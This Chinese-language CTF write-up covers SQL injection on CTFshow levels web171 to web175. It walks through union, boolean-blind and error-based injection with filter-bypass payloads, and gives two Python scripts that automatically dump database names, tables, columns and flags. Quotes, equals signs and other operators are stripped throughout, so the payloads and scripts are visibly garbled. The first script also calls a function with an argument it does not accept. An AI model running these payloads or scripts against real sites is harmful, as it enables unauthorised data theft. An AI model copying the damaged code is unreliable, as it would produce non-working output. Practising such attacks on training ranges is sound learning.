CTFshow SQL注入实战:从联合查询到盲注与过滤绕过

发布时间:2026/8/1 17:55:03
CTFshow SQL注入实战:从联合查询到盲注与过滤绕过 1. 项目概述一次完整的SQL注入实战演练最近在CTFshow平台上从web171到web175这一系列关卡可以说是对SQL注入技术从入门到理解的一次绝佳实战路径。这五道题层层递进从最基础的联合查询注入逐步深入到盲注、报错注入以及各种过滤绕过技巧。很多刚接触Web安全的朋友可能对SQL注入的概念停留在“ or 11 --”这种万能密码的层面但真正在CTF或者实际渗透测试中面对各种过滤和限制如何一步步抽丝剥茧构造出有效的Payload才是核心能力。我花了些时间把这五关从头到尾打了一遍过程中不仅复习了各种注入姿势还顺手写了个Python脚本来自动化部分流程。这篇文章我就来详细拆解这五道题的解题思路、踩过的坑以及如何用Python脚本提升我们的“搬砖”效率。无论你是正在入门CTF的萌新还是想系统梳理SQL注入知识的安全爱好者相信这篇实战记录都能给你带来一些直接的参考。这五个关卡虽然同属一个系列但考察的侧重点完全不同。web171和web172算是“开胃菜”让你熟悉基本的联合查询注入流程。从web173开始难度逐渐提升引入了对关键字符的过滤需要你思考如何绕过。web174则考验你的盲注功底而web175更是综合了报错注入和复杂的过滤绕过。通过这一套“组合拳”打下来你能对SQL注入有一个非常立体和实战化的理解而不仅仅是理论上的几个名词。接下来我们就一关一关地拆解我会把每一步的思考过程、使用的工具、遇到的错误以及最终的Payload都详细记录下来并附上可以复现的Python脚本代码。2. 解题环境与基础工具准备在开始实战之前确保你有一个顺手的“作战环境”至关重要。这里不需要多么复杂的配置但几样核心工具必须到位。2.1 靶场环境搭建与访问CTFshow的题目通常以在线靶场的形式提供。你只需要一个浏览器和一个能发送HTTP请求的工具即可。我强烈推荐使用Burp Suite Community Edition作为代理和重放工具它对于分析请求、修改参数、测试Payload来说是不可或缺的。同时准备一个Python 3.8的环境我们后续的自动化脚本将基于它来编写。对于这类练习浏览器直接访问题目给出的URL即可。但为了更细致地分析我习惯将浏览器的代理设置为Burp Suite通常是127.0.0.1:8080并安装Burp的CA证书以确保HTTPS流量也能被拦截。这样每一个提交到服务器的请求我们都能在Burp的Proxy - HTTP history中看到方便我们修改参数进行注入测试。2.2 核心SQL注入知识回顾在动手之前快速回顾一下这五关可能涉及到的SQL注入类型和基本语法是很有必要的。虽然题目会引导你但脑子里有张“地图”走起来会更稳。联合查询注入 (Union-based Injection)这是最直观的一种。前提是页面有回显数据的位置。通过UNION操作符我们可以将我们自定义查询的结果合并到原始查询结果中显示出来。核心步骤通常为判断注入点 - 判断字段数 (ORDER BY) - 判断回显位 - 获取数据库名、表名、列名 - 获取数据。布尔盲注 (Boolean-based Blind Injection)当页面没有直接的数据回显但会根据SQL语句执行的真假返回不同的页面状态如“存在”与“不存在”时使用。我们需要通过AND、OR等逻辑运算符结合SUBSTR()、ASCII()、LENGTH()等函数一位一位地“猜”出数据。报错注入 (Error-based Injection)当数据库的错误信息会直接显示在页面上时我们可以利用一些特定的函数如updatexml()、extractvalue()、floor()rand()group by人为触发一个错误并将我们想查询的数据通过错误信息带出来。这种方法效率通常比盲注高。时间盲注 (Time-based Blind Injection)这是布尔盲注的“升级版”当页面连真假状态都不返回时使用。通过SLEEP()或BENCHMARK()函数根据页面响应时间的长短来判断注入语句的真假。这五关基本上覆盖了前三种类型。了解这些我们在遇到不同页面行为时就能快速确定攻击方向。3. Web171 Web172联合查询注入入门这两关是经典的联合查询注入非常适合新手建立完整的注入流程概念。3.1 Web171 解题步骤详解访问题目通常是一个简单的查询界面比如根据ID查询用户信息。我们假设提交参数是?id1。第一步探测注入点尝试提交id1。如果页面返回错误或者显示异常说明可能存在字符型注入。如果正常再试试id1 and 11和id1 and 12。如果11正常而12异常则说明存在数字型注入。在web171中经测试id1报错确定为字符型注入且需要闭合单引号。第二步判断字段数量使用ORDER BY子句。提交id1 order by 1 --id1 order by 2 --id1 order by 3 --以此类推直到页面报错。假设order by 4时报错则说明当前查询的字段数为3。这里--注意后面有个空格是SQL注释符用于注释掉原查询后面的部分避免语法错误。第三步寻找回显点知道了字段数是3我们就可以构造联合查询看看哪几个字段的内容会显示在页面上。提交Payloadid-1 union select 1,2,3 --这里将id设为-1或一个不存在的值是为了让原查询不返回结果从而使页面只显示我们union select的结果。如果页面上的某个位置出现了“2”和“3”说明第二个和第三个字段是回显点。第四步获取数据库信息接下来我们就可以在回显点替换我们想要查询的信息。例如id-1 union select 1, database(), version() --这会在回显点2显示当前数据库名回显点3显示数据库版本。通过database()我们知道了库名假设是ctfshow_web。第五步获取表名和列名在Mysql中information_schema数据库存储了元数据。我们可以这样查询表名id-1 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schemadatabase() --group_concat()函数会将所有结果拼接成一个字符串方便查看。假设我们得到了表名ctfshow_user。 接着查询该表有哪些列id-1 union select 1, group_concat(column_name), 3 from information_schema.columns where table_schemadatabase() and table_namectfshow_user --假设得到列名id,username,password。第六步获取最终数据最后直接查询数据即可id-1 union select 1, username, password from ctfshow_user --通常flag就藏在某个用户的password字段里。至此web171通关。注意在实际操作中--注释符后的空格有时会被URL编码吃掉导致注释失败。稳妥的做法是使用#URL编码为%23进行注释如id1 order by 1%23。另外注意参数包裹符号可能是单引号、双引号或者括号(、)需要灵活测试。3.2 Web172 解题思路与差异点Web172在流程上和web171几乎一致都是联合查询注入。但往往会有一些小变化例如过滤了某些关键词比如过滤了union或select。但作为入门关通常不会过滤或者只是大小写过滤。如果遇到过滤可以尝试双写ununionion、selselectect或者使用大小写混合UnIoN。回显点位置变化可能字段数变了或者回显的字段索引变了。重新用order by和union select 1,2,3...探测即可。数据表结构不同数据库名、表名、列名可能变了。但查询方法不变还是通过information_schema去获取。对于web172我们的解题脚本完全可以复用web171的逻辑只需要根据实际情况微调Payload。这也引出了我们写自动化脚本的第一个动机流程固定化。对于联合查询注入步骤是高度一致的非常适合用脚本来自动完成字段数判断、回显点探测和信息获取。4. Web173过滤绕过初体验从这一关开始题目开始增加难度引入了简单的过滤机制。4.1 题目分析与过滤规则探测首先像之前一样进行基础测试。输入id1可能不会直接报错或者报错信息被隐藏。输入正常的联合查询Payload发现不返回数据。这时就要怀疑是否存在过滤。探测过滤规则的常用方法是“减法”。先提交一个复杂的但正确的Payload比如id1 union select 1,2,3#观察反应。然后逐步简化或替换其中的元素。尝试id1 uniunionon selselectect 1,2,3#双写绕过尝试id1 UniOn SeLeCt 1,2,3#大小写绕过尝试id1 || 11#使用||或or逻辑运算符测试单独测试关键词提交id1 union和id1 select看哪个被拦截。以我的经验web173很可能过滤了空格。在SQL中空格用于分隔关键词。如果空格被过滤我们可以用多种方式替代注释符代替/**/(MySQL)括号在特定语境下Tab符%09(URL编码)换行符%0a,%0d内联注释/*!50000union*/4.2 绕过空格过滤的Payload构造假设我们探测出web173过滤了空格但不过滤union和select。那么我们的Payload就需要改造。原始Payloadid-1 union select 1,2,3#绕过空格后id-1/**/union/**/select/**/1,2,3#同样order by也需要改造id1/**/order/**/by/**/1#在编写Python脚本处理这类问题时我们可以定义一个replace_space函数将Payload中的空格替换成/**/或其他有效替代符。这样我们之前为web171写的脚本核心逻辑可以不变只需在最终发送请求前对构造好的Payload进行一次“空格替换”处理即可。实操心得绕过过滤时不要一上来就想着最复杂的绕过方式。先从最简单的替代开始试比如/**/。很多初级过滤只针对空格字符本身而/**/在MySQL中被解析为一个注释但在词法分析时同样起到了分隔作用且常常不被简单的字符串匹配过滤所拦截。另外使用Burp Suite的Intruder模块配合一个包含各种空白符替代的字典进行模糊测试是快速探测过滤规则的高效方法。5. Web174布尔盲注实战Web174是一个转折点。页面可能只有一个“用户存在”或“用户不存在”的提示或者登录成功/失败的区分没有数据直接回显。这就是典型的布尔盲注场景。5.1 布尔盲注原理与手工流程布尔盲注的核心在于构造一个SQL语句其执行结果为真True或假False并观察页面返回的差异比如“存在”对应True“不存在”对应False。手工注入步骤以猜解数据库名第一位字符为例判断注入点与闭合方式id1 and 11返回“存在”id1 and 12返回“不存在”。确认是字符型注入闭合符为单引号。猜解数据库名长度id1 and length(database())1 --观察页面。id1 and length(database())2 --... 直到返回“存在”假设长度为8。逐位猜解数据库名 使用SUBSTR()或SUBSTRING()函数截取字符串ASCII()函数将字符转为ASCII码进行比对。id1 and ascii(substr(database(),1,1))100 --判断第一位ASCII码是否大于100。id1 and ascii(substr(database(),1,1))99 --判断第一位ASCII码是否等于99字母‘c’。 通过二分法 可以快速定位每一个字符的ASCII码。重复此过程8次得到数据库名ctfshow_web。这个过程极其繁琐猜解一个8位的库名就需要几十次请求更别提后面的表名、列名、数据了。手工操作几乎不可能完成因此自动化脚本是布尔盲注的绝对必需品。5.2 Python自动化盲注脚本编写下面是一个针对布尔盲注的Python脚本核心框架。它实现了对任意查询结果如database()的自动化逐位猜解。import requests import time # 目标URL和参数 url http://your-target-url/ params {id: } # 用于判断页面True/False的函数 # 需要根据实际题目页面特征来编写 def check_true_false(response_text): 根据响应内容判断SQL语句执行结果为True还是False。 例如页面包含‘存在’返回True包含‘不存在’返回False。 if 存在 in response_text: # 请替换为实际关键词 return True elif 不存在 in response_text: # 请替换为实际关键词 return False else: # 有时可能需要更复杂的判断比如比较响应长度 print(Warning: Cannot determine True/False from response.) return None # 二分法猜解一个字符的ASCII码 def get_char(sql_payload): low, high 32, 126 # 可打印字符的ASCII范围 while low high: mid (low high) // 2 # 构造Payload判断当前字符的ASCII码是否大于mid test_payload f1 and ascii(substr(({sql_payload}),{current_pos},1)){mid} -- params[id] test_payload r requests.get(url, paramsparams) if check_true_false(r.text): low mid 1 else: high mid - 1 # 循环结束后low high此时low-1就是字符的ASCII码 return chr(low - 1) # 猜解整个字符串 def get_string(sql_payload): result current_pos 1 while True: char get_char(sql_payload, current_pos) # 需要修改get_char函数以接收位置参数 if not char or ord(char) 0: # 遇到空字符或结束标志 break result char print(f[*] Current result: {result}) current_pos 1 return result if __name__ __main__: # 猜解数据库名 db_name_payload database() db_name get_string(db_name_payload) print(f[] Database name: {db_name}) # 猜解表名 (需要先知道库名) # table_payload f(select group_concat(table_name) from information_schema.tables where table_schema{db_name}) # tables get_string(table_payload) # print(f[] Tables: {tables})这个脚本定义了核心的二分法猜解逻辑。你需要根据实际题目修改url、params和check_true_false函数。get_string函数可以复用通过传入不同的sql_payload如database()、查询表名的子查询等就能自动化获取各种信息。注意盲注脚本会发送大量请求务必注意控制请求频率添加time.sleep(0.1)等延时避免对靶场服务器造成压力或被封IP。另外check_true_false函数的准确性至关重要需要你仔细分析页面在True和False状态下的稳定差异特征有时可能需要对比响应内容长度 (len(r.text))或者某个特定关键词的出现次数。6. Web175报错注入与综合过滤绕过Web175通常是这个系列的终极挑战它会结合更复杂的过滤和可能需要报错注入才能解决。6.1 报错注入原理与利用函数当页面不会显示查询数据但会打印SQL错误信息时报错注入就派上用场了。其原理是利用数据库函数的某些特性故意传递非法参数触发一个错误并将我们想查询的数据作为错误信息的一部分输出。常用的MySQL报错函数updatexml():updatexml(1, concat(0x7e, (你的查询语句), 0x7e), 1)。第二个参数需要是XPath格式的字符串我们通过concat插入特殊字符~(0x7e) 来构造一个非法XPath从而报错并将查询结果输出。extractvalue():extractvalue(1, concat(0x7e, (你的查询语句), 0x7e))。原理与updatexml类似利用非法XPath报错。floor()rand()group by: 通过count(*)、group by和rand()函数产生的重复值冲突来报错公式相对固定。以updatexml为例Payload 格式为id1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --执行后页面可能会返回一个错误信息其中包含~ctfshow_web~这样的内容我们就得到了数据库名。6.2 应对多重过滤的Payload构造策略Web175的难点在于它可能同时过滤了多种字符比如空格、union、select、or、and、、#、--、/**/等等。这就需要我们进行“组合技”绕过。策略一使用非常规符号替代and/or被过滤尝试使用和||。注意||在MySQL中默认是逻辑或但在其他上下文可能是连接符需测试。被过滤尝试使用like、rlike、regexp或者不等于的否定逻辑。#和--被过滤尝试使用;%00(Null字节) 或or 1这种永真条件来闭合语句但需注意上下文。策略二编码与大小写混合对关键词进行URL编码、双重URL编码、HTML编码等。使用大小写混合如UnIoN SeLeCt。策略三利用数据库特性内联注释/*!50000union*/。/*! ... */在MySQL中会被执行其中的数字表示数据库版本号大于该版本时才执行常用于绕过WAF。科学计数法id1e0union select1e0被解释为数字1可以绕过某些针对“数字空格关键词”的过滤。反引号select可能被过滤但select用反引号包裹有时可以绕过。策略四重新审视注入点是不是注入点判断错了可能不是id参数或者是POST请求。闭合方式是不是更复杂比如id(1)需要闭合括号和引号。对于web175一个可能的综合Payload示例如下假设过滤了空格、union、select、id1||updatexml(1,concat(0x7e,(/*!50000select*/database()),0x7e),1)||11这里用||代替and用/*!50000select*/绕过select过滤用||11来保证整个语句的语法正确性。编写脚本应对这种复杂过滤时我们需要将Payload构造模块化。可以维护一个“过滤字典”和对应的“替换字典”或者编写一个函数根据探测到的过滤规则动态地生成绕过后的Payload。7. 通用Python脚本设计与优化通过前面几关的实践我们发现一个健壮的、可配置的自动化脚本能极大提升效率。下面我分享一个我自用的、相对通用的CTF SQL注入脚本框架。7.1 脚本架构与模块化设计脚本的核心思想是分离关注点。将URL管理、Payload生成、请求发送、结果判断、数据提取等逻辑拆分成独立的函数或类。import requests import time from urllib.parse import quote class CTFSQLiSolver: def __init__(self, target_url, methodGET, param_nameid, true_marker存在, false_marker不存在): self.url target_url self.method method.upper() self.param_name param_name self.true_marker true_marker self.false_marker false_marker self.session requests.Session() self.session.headers.update({User-Agent: Mozilla/5.0 CTF-Script}) # 过滤规则与替换规则可根据题目动态更新 self.filter_rules { : /**/, union: ununionion, select: selselectect, #: %23} # 存储结果 self.results {} def _send_request(self, payload): 发送请求返回响应文本 data {self.param_name: payload} try: if self.method GET: resp self.session.get(self.url, paramsdata, timeout5) else: # POST resp self.session.post(self.url, datadata, timeout5) return resp.text except Exception as e: print(f[!] Request failed: {e}) return None def _check_condition(self, resp_text): 判断布尔条件 if resp_text is None: return False if self.true_marker in resp_text and self.false_marker not in resp_text: return True elif self.false_marker in resp_text: return False else: # 备用方案比较响应长度或特定标签 print(f[?] Ambiguous response. Length: {len(resp_text)}) return None def _apply_filters(self, raw_payload): 应用过滤绕过规则 filtered_payload raw_payload for banned, replacement in self.filter_rules.items(): filtered_payload filtered_payload.replace(banned, replacement) return filtered_payload def blind_binary_search(self, sql_query): 布尔盲注二分法核心函数 result pos 1 while True: low, high 32, 126 char_found None while low high: mid (low high) // 2 # 构造测试Payload test_payload f1 and ascii(substr(({sql_query}),{pos},1)){mid} -- filtered_payload self._apply_filters(test_payload) resp self._send_request(filtered_payload) if self._check_condition(resp): low mid 1 else: high mid - 1 time.sleep(0.05) # 礼貌延时 found_char chr(low - 1) if ord(found_char) 0 or not found_char.isprintable(): break result found_char print(f[*] Progress: {result}) pos 1 return result def error_based_extract(self, sql_query): 报错注入提取数据 # 使用updatexml报错 payload f1 and updatexml(1, concat(0x7e, ({sql_query}), 0x7e), 1) -- filtered_payload self._apply_filters(payload) resp self._send_request(filtered_payload) # 这里需要从错误信息中提取数据通常使用正则表达式 import re match re.search(r~([^~])~, resp) if match: return match.group(1) else: print([!] Failed to extract data from error message.) return None def run(self): 主执行流程 print([] Starting SQLi automation...) # 1. 探测注入类型和过滤这里简化实际需要更复杂的探测逻辑 # 2. 获取数据库名 print([] Getting database name...) db_name self.blind_binary_search(database()) # 或使用 error_based_extract self.results[database] db_name print(f[] Database: {db_name}) # 3. 获取表名 print([] Getting table names...) table_query fselect group_concat(table_name) from information_schema.tables where table_schema{db_name} tables self.blind_binary_search(table_query) self.results[tables] tables.split(,) print(f[] Tables: {tables}) # 4. 获取列名 (以第一个表为例) target_table self.results[tables][0] # 假设目标表是第一个 print(f[] Getting columns for table {target_table}...) column_query fselect group_concat(column_name) from information_schema.columns where table_schema{db_name} and table_name{target_table} columns self.blind_binary_search(column_query) self.results[columns] columns.split(,) print(f[] Columns: {columns}) # 5. 获取数据 print(f[] Dumping data from {target_table}...) for col in self.results[columns]: if pass in col.lower() or flag in col.lower(): # 假设flag在密码或flag列 data_query fselect group_concat({col}) from {target_table} data self.blind_binary_search(data_query) print(f[] Data in column {col}: {data}) self.results[flag] data break print([] Done!) return self.results if __name__ __main__: # 配置参数 solver CTFSQLiSolver( target_urlhttp://example.com/web175/, param_nameid, true_markeradmin, # 根据实际页面True状态的特征设置 false_markererror # 根据实际页面False状态的特征设置 ) # 可以动态更新过滤规则 # solver.filter_rules.update({ : %0a, or: oorr}) result solver.run() print(fFinal flag: {result.get(flag)})这个框架提供了布尔盲注和报错注入两种核心方法的实现并且将过滤规则、请求发送、条件判断都模块化了。你可以根据具体题目继承这个类并重写相应的方法比如_check_condition可能需要更复杂的逻辑或者需要实现时间盲注。7.2 错误处理与性能优化在实际使用中脚本的健壮性很重要。异常处理网络请求超时、连接错误、目标服务器不稳定等情况都要考虑。使用try...except包裹请求并实现重试机制。结果校验布尔盲注中_check_condition函数是灵魂。如果页面特征不稳定可以考虑结合多个特征如关键词、响应长度、某个特定HTML标签的内容进行综合判断甚至引入机器学习进行简单分类对于复杂情况。速率限制务必在每次请求间添加延时time.sleep()尤其是盲注脚本。0.1秒到0.5秒是比较礼貌的间隔既能完成攻击又不会对靶场造成过大负担。日志记录将发送的Payload和收到的响应至少是长度或关键特征记录下来便于后期分析和调试。可以简单打印到控制台也可以写入文件。进度提示对于漫长的盲注过程显示当前猜解到的字符串和进度百分比能让你心里有底。8. 常见问题排查与实战心得在实战和编写脚本的过程中我踩过不少坑这里总结一下最常见的问题和解决思路。8.1 注入失败常见原因分析问题现象可能原因排查思路提交或and 11无反应1. 注入点错误非此参数2. 参数类型非字符串数字型需去掉引号3. 存在WAF或前端过滤1. 测试所有参数GET/POST/Cookie/Header2. 尝试数字型注入id1 and 113. 使用Burp抓包确认Payload是否原样到达服务器union select不显示数据1. 字段数不对2. 回显点判断错误3.union或select被过滤4. 数据类型不匹配1. 重新用order by判断字段数2. 尝试union select null,null,null...3. 测试过滤规则尝试绕过4. 在回显点尝试union select 1,a,3测试字符串位盲注脚本判断始终为True或False1._check_condition函数逻辑错误2. 页面状态不稳定3. 会话Session或Token问题1. 手动发送几个确定True/False的Payload对比响应差异2. 考虑使用响应长度 (len(r.text)) 作为更稳定的判断依据3. 确保脚本使用了requests.Session()维持会话报错注入无错误信息返回1. 数据库错误信息被全局屏蔽2. 使用的报错函数不被支持3. Payload语法错误1. 尝试其他注入方式盲注2. 换用extractvalue()或floor()报错方式3. 检查Payload闭合和语法使用#或--注释掉后续语句8.2 提升效率与准确性的技巧先手工后自动化不要一上来就写脚本。先用手工方式Burp Repeater确认注入点、闭合方式、过滤规则和True/False页面特征。把这些关键信息摸清了再开始编写脚本事半功倍。善用Burp SuiteRepeater用于手动测试和调试Payload。Intruder用于模糊测试Fuzzing过滤字符、快速猜解长度或简单数据配合“狙击手”模式。Comparer用于精确比较两个响应的差异特别是在设置盲注判断条件时非常有用。理解数据库特性不同数据库MySQL, PostgreSQL, SQL Server, SQLite的注入语法、注释符、系统表名都有差异。CTFshow题目以MySQL为主但了解其他数据库的特性有助于举一反三。编码与转义注意URL编码。在浏览器地址栏或HTML表单中提交的参数会被自动编码。但在Burp或Python脚本中直接发送时需要手动处理。例如空格在URL中是%20或单引号是%27井号是%23。requests库的params和data参数会自动进行URL编码但如果你自己拼接URL字符串就需要使用urllib.parse.quote()。脚本的通用性与针对性我提供的脚本框架是一个起点。针对每一道新题你几乎都需要调整_check_condition函数和filter_rules字典。养成将不同题目的配置保存为独立脚本或配置文件的习惯方便以后复用。最后SQL注入是一门实践性极强的技术。CTFshow的这五道题提供了一个完美的阶梯。从web171到web175你经历了一次完整的“侦察-试探-绕过-自动化-综合应用”的渗透测试流程。把这套流程和思考方式内化再遇到新的SQL注入挑战时你就能有条不紊地分析和解决问题了。真正的收获不在于记住了几个Payload而在于掌握了那种面对黑盒通过有限反馈一步步构建出攻击路径的思维方法。